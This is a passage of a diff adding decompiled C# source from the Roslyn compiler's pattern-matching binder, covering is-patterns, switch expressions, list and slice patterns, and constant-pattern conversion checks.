CheckNativeIntegerFeatureAvailability(UnaryOperatorKind operatorKind, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (!Compilation.Assembly.RuntimeSupportsNumericIntPtr) + { + UnaryOperatorKind unaryOperatorKind = operatorKind & UnaryOperatorKind.TypeMask; + if ((uint)(unaryOperatorKind - 9) <= 1u) + { + CheckFeatureAvailability(syntax, MessageID.IDS_FeatureNativeInt, diagnostics); + } + } + } + + private BoundExpression BindIsPatternExpression(IsPatternExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeaturePatternMatching.CheckFeatureAvailability(diagnostics, node.IsKeyword); + BoundExpression operand = BindRValueWithoutTargetType(node.Expression, diagnostics); + bool flag = IsOperandErrors(node, ref operand, diagnostics); + TypeSymbol type = operand.Type; + if ((object)type == null || type.IsVoidType()) + { + if (!flag) + { + diagnostics.Add(ErrorCode.ERR_BadPatternExpression, ((SyntaxNode)node.Expression).Location, operand.Display); + flag = true; + } + operand = BadExpression(operand.Syntax, operand); + } + BoundPattern boundPattern = BindPattern(node.Pattern, operand.Type, permitDesignations: true, flag, diagnostics, underIsPattern: true); + flag |= boundPattern.HasErrors; + return MakeIsPatternExpression((SyntaxNode)(object)node, operand, boundPattern, GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node), flag, diagnostics); + } + + private BoundExpression MakeIsPatternExpression(SyntaxNode node, BoundExpression expression, BoundPattern pattern, TypeSymbol boolType, bool hasErrors, BindingDiagnosticBag diagnostics) + { + LabelSymbol whenTrueLabel = new GeneratedLabelSymbol("isPatternSuccess"); + LabelSymbol whenFalseLabel = new GeneratedLabelSymbol("isPatternFailure"); + BoundPattern innerPattern; + bool flag = pattern.IsNegated(out innerPattern); + BoundDecisionDag boundDecisionDag = DecisionDagBuilder.CreateDecisionDagForIsPattern(Compilation, pattern.Syntax, expression, innerPattern, whenTrueLabel, whenFalseLabel, diagnostics); + if (!hasErrors) + { + bool? flag2 = getConstantResult(boundDecisionDag, flag, whenTrueLabel, whenFalseLabel); + if (flag2.HasValue) + { + if (flag2 != true) + { + diagnostics.Add(ErrorCode.ERR_IsPatternImpossible, node.Location, expression.Type); + hasErrors = true; + } + else + { + if (pattern is BoundConstantPattern || pattern is BoundITuplePattern) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Patterns.cs", 76); + } + if (!(pattern is BoundRelationalPattern) && !(pattern is BoundTypePattern) && !(pattern is BoundNegatedPattern) && !(pattern is BoundBinaryPattern) && !(pattern is BoundListPattern)) + { + if (!(pattern is BoundDiscardPattern) && !(pattern is BoundDeclarationPattern) && pattern is BoundRecursivePattern) + { + } + } + else + { + diagnostics.Add(ErrorCode.WRN_IsPatternAlways, node.Location, expression.Type); + } + } + goto IL_01d4; + } + } + if (expression.ConstantValueOpt != (ConstantValue)null) + { + boundDecisionDag = boundDecisionDag.SimplifyDecisionDagIfConstantInput(expression); + if (!hasErrors) + { + bool? flag2 = getConstantResult(boundDecisionDag, flag, whenTrueLabel, whenFalseLabel); + if (flag2.HasValue) + { + if (flag2 != true) + { + diagnostics.Add(ErrorCode.WRN_GivenExpressionNeverMatchesPattern, node.Location); + } + else if (!(pattern is BoundConstantPattern)) + { + if (pattern is BoundRelationalPattern || pattern is BoundTypePattern || pattern is BoundNegatedPattern || pattern is BoundBinaryPattern || pattern is BoundDiscardPattern) + { + diagnostics.Add(ErrorCode.WRN_GivenExpressionAlwaysMatchesPattern, node.Location); + } + } + else + { + diagnostics.Add(ErrorCode.WRN_GivenExpressionAlwaysMatchesConstant, node.Location); + } + } + } + } + goto IL_01d4; + IL_01d4: + return new BoundIsPatternExpression(node, expression, pattern, flag, boundDecisionDag, whenTrueLabel, whenFalseLabel, boolType, hasErrors); + static bool? getConstantResult(BoundDecisionDag decisionDag, bool negated, LabelSymbol item, LabelSymbol item2) + { + if (!decisionDag.ReachableLabels.Contains(item)) + { + return negated; + } + if (!decisionDag.ReachableLabels.Contains(item2)) + { + return !negated; + } + return null; + } + } + + private BoundExpression BindSwitchExpression(SwitchExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureRecursivePatterns.CheckFeatureAvailability(diagnostics, node.SwitchKeyword); + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindSwitchExpressionCore(node, binder, diagnostics); + } + + internal virtual BoundExpression BindSwitchExpressionCore(SwitchExpressionSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + return Next.BindSwitchExpressionCore(node, originalBinder, diagnostics); + } + + internal BoundPattern BindPattern(PatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics, bool underIsPattern = false) + { + if (!(node is DiscardPatternSyntax node2)) + { + if (!(node is DeclarationPatternSyntax node3)) + { + if (!(node is ConstantPatternSyntax node4)) + { + if (!(node is RecursivePatternSyntax node5)) + { + if (!(node is VarPatternSyntax node6)) + { + if (!(node is ParenthesizedPatternSyntax node7)) + { + if (!(node is BinaryPatternSyntax node8)) + { + if (!(node is UnaryPatternSyntax node9)) + { + if (!(node is RelationalPatternSyntax node10)) + { + if (!(node is TypePatternSyntax node11)) + { + if (!(node is ListPatternSyntax node12)) + { + if (node is SlicePatternSyntax node13) + { + return BindSlicePattern(node13, inputType, permitDesignations, ref hasErrors, misplaced: true, diagnostics); + } + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + return BindListPattern(node12, inputType, permitDesignations, hasErrors, diagnostics); + } + return BindTypePattern(node11, inputType, hasErrors, diagnostics); + } + return BindRelationalPattern(node10, inputType, hasErrors, diagnostics); + } + return BindUnaryPattern(node9, inputType, hasErrors, diagnostics, underIsPattern); + } + return BindBinaryPattern(node8, inputType, permitDesignations, hasErrors, diagnostics); + } + return BindParenthesizedPattern(node7, inputType, permitDesignations, hasErrors, diagnostics, underIsPattern); + } + return BindVarPattern(node6, inputType, permitDesignations, hasErrors, diagnostics); + } + return BindRecursivePattern(node5, inputType, permitDesignations, hasErrors, diagnostics); + } + return BindConstantPatternWithFallbackToTypePattern(node4, inputType, hasErrors, diagnostics); + } + return BindDeclarationPattern(node3, inputType, permitDesignations, hasErrors, diagnostics); + } + return BindDiscardPattern(node2, inputType, diagnostics); + } + + private BoundPattern BindParenthesizedPattern(ParenthesizedPatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics, bool underIsPattern) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureParenthesizedPattern.CheckFeatureAvailability(diagnostics, node.OpenParenToken); + return BindPattern(node.Pattern, inputType, permitDesignations, hasErrors, diagnostics, underIsPattern); + } + + private BoundPattern BindSlicePattern(SlicePatternSyntax node, TypeSymbol inputType, bool permitDesignations, ref bool hasErrors, bool misplaced, BindingDiagnosticBag diagnostics) + { + if (misplaced && !hasErrors) + { + diagnostics.Add(ErrorCode.ERR_MisplacedSlicePattern, ((SyntaxNode)node).Location); + hasErrors = true; + } + BoundExpression boundExpression = null; + BoundPattern pattern = null; + BoundSlicePatternReceiverPlaceholder boundSlicePatternReceiverPlaceholder = null; + BoundSlicePatternRangePlaceholder boundSlicePatternRangePlaceholder = null; + if (node.Pattern != null) + { + boundSlicePatternReceiverPlaceholder = new BoundSlicePatternReceiverPlaceholder((SyntaxNode)(object)node, inputType) + { + WasCompilerGenerated = true + }; + NamedTypeSymbol wellKnownType = GetWellKnownType((WellKnownType)285, diagnostics, (SyntaxNode)(object)node); + boundSlicePatternRangePlaceholder = new BoundSlicePatternRangePlaceholder((SyntaxNode)(object)node, wellKnownType) + { + WasCompilerGenerated = true + }; + TypeSymbol inputType2; + if (inputType.IsErrorType()) + { + hasErrors = true; + inputType2 = inputType; + } + else + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + instance.Arguments.Add((BoundExpression)boundSlicePatternRangePlaceholder); + boundExpression = BindElementAccessCore((SyntaxNode)(object)node, boundSlicePatternReceiverPlaceholder, instance, diagnostics).MakeCompilerGenerated(); + boundExpression = CheckValue(boundExpression, BindValueKind.RValue, diagnostics); + instance.Free(); + if (!wellKnownType.HasUseSiteError) + { + GetWellKnownTypeMember((WellKnownMember)419, diagnostics, null, (SyntaxNode)(object)node); + } + inputType2 = boundExpression.Type; + } + pattern = BindPattern(node.Pattern, inputType2, permitDesignations, hasErrors, diagnostics); + } + return new BoundSlicePattern((SyntaxNode)(object)node, pattern, boundExpression, boundSlicePatternReceiverPlaceholder, boundSlicePatternRangePlaceholder, inputType, inputType, hasErrors); + } + + private ImmutableArray BindListPatternSubpatterns(SeparatedSyntaxList subpatterns, TypeSymbol inputType, TypeSymbol elementType, bool permitDesignations, ref bool hasErrors, out bool sawSlice, BindingDiagnosticBag diagnostics) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + sawSlice = false; + ArrayBuilder instance = ArrayBuilder.GetInstance(subpatterns.Count); + Enumerator enumerator = subpatterns.GetEnumerator(); + while (enumerator.MoveNext()) + { + PatternSyntax current = enumerator.Current; + BoundPattern boundPattern; + if (current is SlicePatternSyntax node) + { + boundPattern = BindSlicePattern(node, inputType, permitDesignations, ref hasErrors, sawSlice, diagnostics); + sawSlice = true; + } + else + { + boundPattern = BindPattern(current, elementType, permitDesignations, hasErrors, diagnostics); + } + instance.Add(boundPattern); + } + return instance.ToImmutableAndFree(); + } + + private BoundListPattern BindListPattern(ListPatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureListPattern, diagnostics); + TypeSymbol typeSymbol = inputType.StrippedType(); + if (inputType.IsDynamic()) + { + Error(diagnostics, ErrorCode.ERR_UnsupportedTypeForListPattern, (CSharpSyntaxNode)node, new object[1] { inputType }); + } + TypeSymbol elementType; + BoundExpression indexerAccess; + BoundExpression lengthAccess; + BoundListPatternReceiverPlaceholder receiverPlaceholder; + BoundListPatternIndexPlaceholder argumentPlaceholder; + if (inputType.IsErrorType() || inputType.IsDynamic()) + { + hasErrors = true; + elementType = inputType; + indexerAccess = null; + lengthAccess = null; + receiverPlaceholder = null; + argumentPlaceholder = null; + } + else + { + hasErrors |= !BindLengthAndIndexerForListPattern((SyntaxNode)(object)node, typeSymbol, diagnostics, out indexerAccess, out lengthAccess, out receiverPlaceholder, out argumentPlaceholder); + elementType = indexerAccess.Type; + } + bool sawSlice; + ImmutableArray subpatterns = BindListPatternSubpatterns(node.Patterns, typeSymbol, elementType, permitDesignations, ref hasErrors, out sawSlice, diagnostics); + BindPatternDesignation(node.Designation, TypeWithAnnotations.Create(typeSymbol, NullableAnnotation.NotAnnotated), permitDesignations, null, diagnostics, ref hasErrors, out Symbol variableSymbol, out BoundExpression variableAccess); + return new BoundListPattern((SyntaxNode)(object)node, subpatterns, sawSlice, lengthAccess, indexerAccess, receiverPlaceholder, argumentPlaceholder, variableSymbol, variableAccess, inputType, typeSymbol, hasErrors); + } + + private bool IsCountableAndIndexable(SyntaxNode node, TypeSymbol inputType, out PropertySymbol? lengthProperty) + { + BoundExpression indexerAccess; + BoundExpression lengthAccess; + BoundListPatternReceiverPlaceholder receiverPlaceholder; + BoundListPatternIndexPlaceholder argumentPlaceholder; + bool flag = BindLengthAndIndexerForListPattern(node, inputType, BindingDiagnosticBag.Discarded, out indexerAccess, out lengthAccess, out receiverPlaceholder, out argumentPlaceholder); + lengthProperty = (flag ? GetPropertySymbol(lengthAccess, out indexerAccess, out var _) : null); + return flag; + } + + private bool BindLengthAndIndexerForListPattern(SyntaxNode node, TypeSymbol inputType, BindingDiagnosticBag diagnostics, out BoundExpression indexerAccess, out BoundExpression lengthAccess, out BoundListPatternReceiverPlaceholder? receiverPlaceholder, out BoundListPatternIndexPlaceholder argumentPlaceholder) + { + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + receiverPlaceholder = new BoundListPatternReceiverPlaceholder(node, inputType) + { + WasCompilerGenerated = true + }; + if (inputType.IsSZArray()) + { + flag |= !TryGetSpecialTypeMember(Compilation, (SpecialMember)93, node, diagnostics, out var symbol); + if ((object)symbol != null) + { + lengthAccess = new BoundPropertyAccess(node, receiverPlaceholder, (ThreeState)1, symbol, LookupResultKind.Viable, symbol.Type) + { + WasCompilerGenerated = true + }; + } + else + { + lengthAccess = new BoundBadExpression(node, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Empty, CreateErrorType(), hasErrors: true) + { + WasCompilerGenerated = true + }; + } + } + else if (!TryBindLengthOrCount(node, receiverPlaceholder, out lengthAccess, diagnostics)) + { + flag = true; + Error(diagnostics, ErrorCode.ERR_ListPatternRequiresLength, SyntaxNodeOrToken.op_Implicit(node), inputType); + } + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + NamedTypeSymbol wellKnownType = GetWellKnownType((WellKnownType)284, diagnostics, node); + argumentPlaceholder = new BoundListPatternIndexPlaceholder(node, wellKnownType) + { + WasCompilerGenerated = true + }; + instance.Arguments.Add((BoundExpression)argumentPlaceholder); + indexerAccess = BindElementAccessCore(node, receiverPlaceholder, instance, diagnostics).MakeCompilerGenerated(); + indexerAccess = CheckValue(indexerAccess, BindValueKind.RValue, diagnostics); + instance.Free(); + if (!wellKnownType.HasUseSiteError) + { + GetWellKnownTypeMember((WellKnownMember)417, diagnostics, null, node); + } + if (!flag && !lengthAccess.HasErrors) + { + return !indexerAccess.HasErrors; + } + return false; + } + + private static BoundPattern BindDiscardPattern(DiscardPatternSyntax node, TypeSymbol inputType, BindingDiagnosticBag diagnostics) + { + MessageID.IDS_FeatureRecursivePatterns.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + return new BoundDiscardPattern((SyntaxNode)(object)node, inputType, inputType); + } + + private BoundPattern BindConstantPatternWithFallbackToTypePattern(ConstantPatternSyntax node, TypeSymbol inputType, bool hasErrors, BindingDiagnosticBag diagnostics) + { + return BindConstantPatternWithFallbackToTypePattern((SyntaxNode)(object)node, node.Expression, inputType, hasErrors, diagnostics); + } + + internal BoundPattern BindConstantPatternWithFallbackToTypePattern(SyntaxNode node, ExpressionSyntax expression, TypeSymbol inputType, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + ExpressionSyntax expressionSyntax = SkipParensAndNullSuppressions(expression, diagnostics, ref hasErrors); + ConstantValue constantValueOpt; + bool wasExpression; + Conversion patternExpressionConversion; + BoundExpression boundExpression = BindExpressionOrTypeForPattern(inputType, expressionSyntax, ref hasErrors, diagnostics, out constantValueOpt, out wasExpression, out patternExpressionConversion); + if (wasExpression) + { + TypeSymbol typeSymbol = boundExpression.Type ?? inputType; + if ((int)typeSymbol.SpecialType == 20 && inputType.IsSpanOrReadOnlySpanChar()) + { + typeSymbol = inputType; + } + if (constantValueOpt != null && constantValueOpt.IsNumeric && ShouldBlockINumberBaseConversion(patternExpressionConversion, inputType)) + { + diagnostics.Add(ErrorCode.ERR_CannotMatchOnINumberBase, node.Location, inputType); + } + return new BoundConstantPattern(node, boundExpression, constantValueOpt ?? ConstantValue.Bad, inputType, typeSymbol, hasErrors || constantValueOpt == null); + } + if (!hasErrors) + { + CheckFeatureAvailability((SyntaxNode)(object)expressionSyntax, MessageID.IDS_FeatureTypePattern, diagnostics); + } + BoundTypeExpression boundTypeExpression = (BoundTypeExpression)boundExpression; + bool isExplicitNotNullTest = (int)boundTypeExpression.Type.SpecialType == 1; + return new BoundTypePattern(node, boundTypeExpression, isExplicitNotNullTest, inputType, boundTypeExpression.Type, hasErrors); + } + + private bool ShouldBlockINumberBaseConversion(Conversion patternConversion, TypeSymbol inputType) + { + if (patternConversion.IsIdentity || patternConversion.IsConstantExpression || patternConversion.IsNumeric) + { + return false; + } + if (!ImmutableArrayExtensions.Any((inputType is TypeParameterSymbol typeParameterSymbol) ? typeParameterSymbol.EffectiveInterfacesNoUseSiteDiagnostics : inputType.AllInterfacesNoUseSiteDiagnostics, (Func)((NamedTypeSymbol i, int _) => i.IsWellKnownINumberBaseType()), 0)) + { + return inputType.IsWellKnownINumberBaseType(); + } + return true; + } + + private static ExpressionSyntax SkipParensAndNullSuppressions(ExpressionSyntax e, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + while (true) + { + switch (e.Kind()) + { + case SyntaxKind.DefaultLiteralExpression: + diagnostics.Add(ErrorCode.ERR_DefaultPattern, ((SyntaxNode)e).Location); + hasErrors = true; + return e; + case SyntaxKind.ParenthesizedExpression: + e = ((ParenthesizedExpressionSyntax)e).Expression; + break; + case SyntaxKind.SuppressNullableWarningExpression: + diagnostics.Add(ErrorCode.ERR_IllegalSuppression, ((SyntaxNode)e).Location); + hasErrors = true; + e = ((PostfixUnaryExpressionSyntax)e).Operand; + break; + default: + return e; + } + } + } + + private BoundExpression BindExpressionOrTypeForPattern(TypeSymbol inputType, ExpressionSyntax patternExpression, ref bool hasErrors, BindingDiagnosticBag diagnostics, out ConstantValue? constantValueOpt, out bool wasExpression, out Conversion patternExpressionConversion) + { + constantValueOpt = null; + BoundExpression boundExpression = BindTypeOrRValue(patternExpression, diagnostics); + wasExpression = boundExpression.Kind != BoundKind.TypeExpression; + if (wasExpression) + { + return BindExpressionForPatternContinued(boundExpression, inputType, patternExpression, ref hasErrors, diagnostics, out constantValueOpt, out patternExpressionConversion); + } + hasErrors |= CheckValidPatternType((SyntaxNode)(object)patternExpression, inputType, boundExpression.Type, diagnostics); + patternExpressionConversion = Conversion.NoConversion; + return boundExpression; + } + + private BoundExpression BindExpressionForPattern(TypeSymbol inputType, ExpressionSyntax patternExpression, ref bool hasErrors, BindingDiagnosticBag diagnostics, out ConstantValue? constantValueOpt, out bool wasExpression, out Conversion patternExpressionConversion) + { + constantValueOpt = null; + BoundExpression expr = BindExpression(patternExpression, diagnostics, invoked: false, indexed: false); + expr = CheckValue(expr, BindValueKind.RValue, diagnostics); + wasExpression = expr.Kind switch + { + BoundKind.BadExpression => false, + BoundKind.TypeExpression => false, + _ => true, + }; + patternExpressionConversion = Conversion.NoConversion; + if (!wasExpression) + { + return expr; + } + return BindExpressionForPatternContinued(expr, inputType, patternExpression, ref hasErrors, diagnostics, out constantValueOpt, out patternExpressionConversion); + } + + private BoundExpression BindExpressionForPatternContinued(BoundExpression expression, TypeSymbol inputType, ExpressionSyntax patternExpression, ref bool hasErrors, BindingDiagnosticBag diagnostics, out ConstantValue? constantValueOpt, out Conversion patternExpressionConversion) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + BoundExpression boundExpression = ConvertPatternExpression(inputType, patternExpression, expression, out constantValueOpt, hasErrors, diagnostics, out patternExpressionConversion); + ConstantValueUtils.CheckLangVersionForConstantValue(boundExpression, diagnostics); + if (!boundExpression.HasErrors && !hasErrors) + { + if (constantValueOpt == (ConstantValue)null) + { + TypeSymbol typeSymbol = inputType.StrippedType(); + SymbolKind kind = typeSymbol.Kind; + if ((int)kind != 4 && (int)kind != 3 && (int)kind != 17) + { + SpecialType specialType = typeSymbol.SpecialType; + if ((int)specialType != 1 && (int)specialType != 5) + { + diagnostics.Add(ErrorCode.ERR_ConstantValueOfTypeExpected, ((SyntaxNode)patternExpression).Location, typeSymbol); + goto IL_0095; + } + } + diagnostics.Add(ErrorCode.ERR_ConstantExpected, ((SyntaxNode)patternExpression).Location); + goto IL_0095; + } + if (inputType.IsPointerType()) + { + CheckFeatureAvailability((SyntaxNode)(object)patternExpression, MessageID.IDS_FeatureNullPointerConstantPattern, diagnostics); + } + } + goto IL_00b2; + IL_0095: + hasErrors = true; + goto IL_00b2; + IL_00b2: + if ((object)boundExpression.Type == null && constantValueOpt != ConstantValue.Null) + { + boundExpression = BindToTypeForErrorRecovery(boundExpression); + } + return boundExpression; + } + + internal BoundExpression ConvertPatternExpression(TypeSymbol inputType, CSharpSyntaxNode node, BoundExpression expression, out ConstantValue? constantValue, bool hasErrors, BindingDiagnosticBag diagnostics, out Conversion patternExpressionConversion) + { + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression; + BoundExpression operand; + if (inputType.ContainsTypeParameter()) + { + boundExpression = expression; + if (!hasErrors && expression.ConstantValueOpt != null) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (expression.ConstantValueOpt == ConstantValue.Null) + { + if (inputType.IsNonNullableValueType() && !inputType.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_ValueCantBeNull, expression.Syntax.Location, inputType); + hasErrors = true; + } + } + else + { + Conversion conversion; + ConstantValue val = ExpressionOfTypeMatchesPatternType(Conversions, inputType, expression.Type, ref useSiteInfo, out conversion); + if (val == ConstantValue.False || val == ConstantValue.Bad) + { + diagnostics.Add(ErrorCode.ERR_PatternWrongType, expression.Syntax.Location, inputType, expression.Display); + hasErrors = true; + } + } + if (!hasErrors) + { + LanguageVersion languageVersion = MessageID.IDS_FeatureRecursivePatterns.RequiredVersion(); + patternExpressionConversion = Conversions.ClassifyConversionFromExpression(expression, inputType, CheckOverflowAtRuntime, ref useSiteInfo); + if (Compilation.LanguageVersion < languageVersion && !patternExpressionConversion.IsImplicit) + { + diagnostics.Add(ErrorCode.ERR_ConstantPatternVsOpenType, expression.Syntax.Location, inputType, expression.Display, new CSharpRequiredLanguageVersion(languageVersion)); + } + } + else + { + patternExpressionConversion = Conversion.NoConversion; + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + } + else + { + patternExpressionConversion = Conversion.NoConversion; + } + } + else + { + TypeSymbol? type = expression.Type; + if ((object)type != null && (int)type.SpecialType == 20 && inputType.IsSpanOrReadOnlySpanChar()) + { + if (MessageID.IDS_FeatureSpanCharConstantPattern.CheckFeatureAvailability(diagnostics, (Compilation)(object)Compilation, ((SyntaxNode)node).Location)) + { + bool flag = inputType.IsReadOnlySpanChar(); + GetWellKnownTypeMember((WellKnownMember)(flag ? 474 : 473), diagnostics, null, (SyntaxNode)(object)node); + GetWellKnownTypeMember((WellKnownMember)475, diagnostics, null, (SyntaxNode)(object)node); + GetWellKnownTypeMember((WellKnownMember)(flag ? 407 : 401), diagnostics, null, (SyntaxNode)(object)node); + } + boundExpression = BindToNaturalType(expression, diagnostics); + constantValue = boundExpression.ConstantValueOpt; + if (constantValue == ConstantValue.Null) + { + diagnostics.Add(ErrorCode.ERR_PatternSpanCharCannotBeStringNull, boundExpression.Syntax.Location, inputType); + } + patternExpressionConversion = Conversion.NoConversion; + return boundExpression; + } + boundExpression = GenerateConversionForAssignment(inputType, expression, diagnostics, out patternExpressionConversion); + if (boundExpression.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)boundExpression; + operand = boundConversion.Operand; + if (inputType.IsNullableType() && (boundExpression.ConstantValueOpt == (ConstantValue)null || !boundExpression.ConstantValueOpt.IsNull)) + { + boundExpression = CreateConversion(operand, inputType.GetNullableUnderlyingType(), BindingDiagnosticBag.Discarded); + } + else if ((boundConversion.ConversionKind == ConversionKind.Boxing || boundConversion.ConversionKind == ConversionKind.ImplicitReference) && operand.ConstantValueOpt != (ConstantValue)null && boundExpression.ConstantValueOpt == (ConstantValue)null) + { + boundExpression = operand; + } + else + { + if (boundConversion.ConversionKind == ConversionKind.ImplicitNullToPointer) + { + goto IL_0328; + } + if (boundConversion.ConversionKind == ConversionKind.NoConversion) + { + TypeSymbol? type2 = boundExpression.Type; + if ((object)type2 != null && type2.IsErrorType()) + { + goto IL_0328; + } + } + } + } + } + goto IL_032b; + IL_0328: + boundExpression = operand; + goto IL_032b; + IL_032b: + constantValue = boundExpression.ConstantValueOpt; + return boundExpression; + } + + private bool CheckValidPatternType(SyntaxNode typeSyntax, TypeSymbol inputType, TypeSymbol patternType, BindingDiagnosticBag diagnostics) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + if (inputType.IsErrorType() || patternType.IsErrorType()) + { + return false; + } + if (inputType.IsPointerOrFunctionPointer() || patternType.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_PointerTypeInPatternMatching, typeSyntax.Location); + return true; + } + if (patternType.IsNullableType()) + { + Error(diagnostics, ErrorCode.ERR_PatternNullableType, SyntaxNodeOrToken.op_Implicit(typeSyntax), patternType.GetNullableUnderlyingType()); + return true; + } + if (typeSyntax is NullableTypeSyntax) + { + Error(diagnostics, ErrorCode.ERR_PatternNullableType, SyntaxNodeOrToken.op_Implicit(typeSyntax), patternType); + return true; + } + if (patternType.IsStatic) + { + Error(diagnostics, ErrorCode.ERR_VarDeclIsStaticClass, SyntaxNodeOrToken.op_Implicit(typeSyntax), patternType); + return true; + } + if (patternType.IsDynamic()) + { + Error(diagnostics, ErrorCode.ERR_PatternDynamicType, SyntaxNodeOrToken.op_Implicit(typeSyntax)); + return true; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion; + ConstantValue val = ExpressionOfTypeMatchesPatternType(Conversions, inputType, patternType, ref useSiteInfo, out conversion, null, operandCouldBeNull: true); + ((BindingDiagnosticBag)(object)diagnostics).Add(typeSyntax, useSiteInfo); + if (val != ConstantValue.False && val != ConstantValue.Bad) + { + if (!conversion.Exists && (inputType.ContainsTypeParameter() || patternType.ContainsTypeParameter())) + { + LanguageVersion languageVersion = MessageID.IDS_FeatureGenericPatternMatching.RequiredVersion(); + if (languageVersion > Compilation.LanguageVersion) + { + Error(diagnostics, ErrorCode.ERR_PatternWrongGenericTypeInVersion, SyntaxNodeOrToken.op_Implicit(typeSyntax), inputType, patternType, Compilation.LanguageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(languageVersion)); + return true; + } + } + return false; + } + Error(diagnostics, ErrorCode.ERR_PatternWrongType, SyntaxNodeOrToken.op_Implicit(typeSyntax), inputType, patternType); + return true; + } + + internal static ConstantValue ExpressionOfTypeMatchesPatternType(Conversions conversions, TypeSymbol expressionType, TypeSymbol patternType, ref CompoundUseSiteInfo useSiteInfo, out Conversion conversion, ConstantValue? operandConstantValue = null, bool operandCouldBeNull = false) + { + if (expressionType.Equals(patternType, (TypeCompareKind)63)) + { + conversion = Conversion.Identity; + return ConstantValue.True; + } + if (expressionType.IsDynamic()) + { + expressionType = conversions.CorLibrary.GetSpecialType((SpecialType)1); + } + conversion = conversions.ClassifyBuiltInConversion(expressionType, patternType, isChecked: false, ref useSiteInfo); + return GetIsOperatorConstantResult(expressionType, patternType, conversion.Kind, operandConstantValue, operandCouldBeNull); + } + + private BoundPattern BindDeclarationPattern(DeclarationPatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + TypeSyntax type = node.Type; + BoundTypeExpression boundTypeExpression = BindTypeForPattern(type, inputType, diagnostics, ref hasErrors); + BindPatternDesignation(node.Designation, boundTypeExpression.TypeWithAnnotations, permitDesignations, type, diagnostics, ref hasErrors, out Symbol variableSymbol, out BoundExpression variableAccess); + return new BoundDeclarationPattern((SyntaxNode)(object)node, boundTypeExpression, isVar: false, variableSymbol, variableAccess, inputType, boundTypeExpression.Type, hasErrors); + } + + private BoundTypeExpression BindTypeForPattern(TypeSyntax typeSyntax, TypeSymbol inputType, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindType(typeSyntax, diagnostics, out alias); + BoundTypeExpression result = new BoundTypeExpression((SyntaxNode)(object)typeSyntax, alias, typeWithAnnotations); + hasErrors |= CheckValidPatternType((SyntaxNode)(object)typeSyntax, inputType, typeWithAnnotations.Type, diagnostics); + return result; + } + + private void BindPatternDesignation(VariableDesignationSyntax? designation, TypeWithAnnotations declType, bool permitDesignations, TypeSyntax? typeSyntax, BindingDiagnosticBag diagnostics, ref bool hasErrors, out Symbol? variableSymbol, out BoundExpression? variableAccess) + { + //IL_0021: Unknown result type 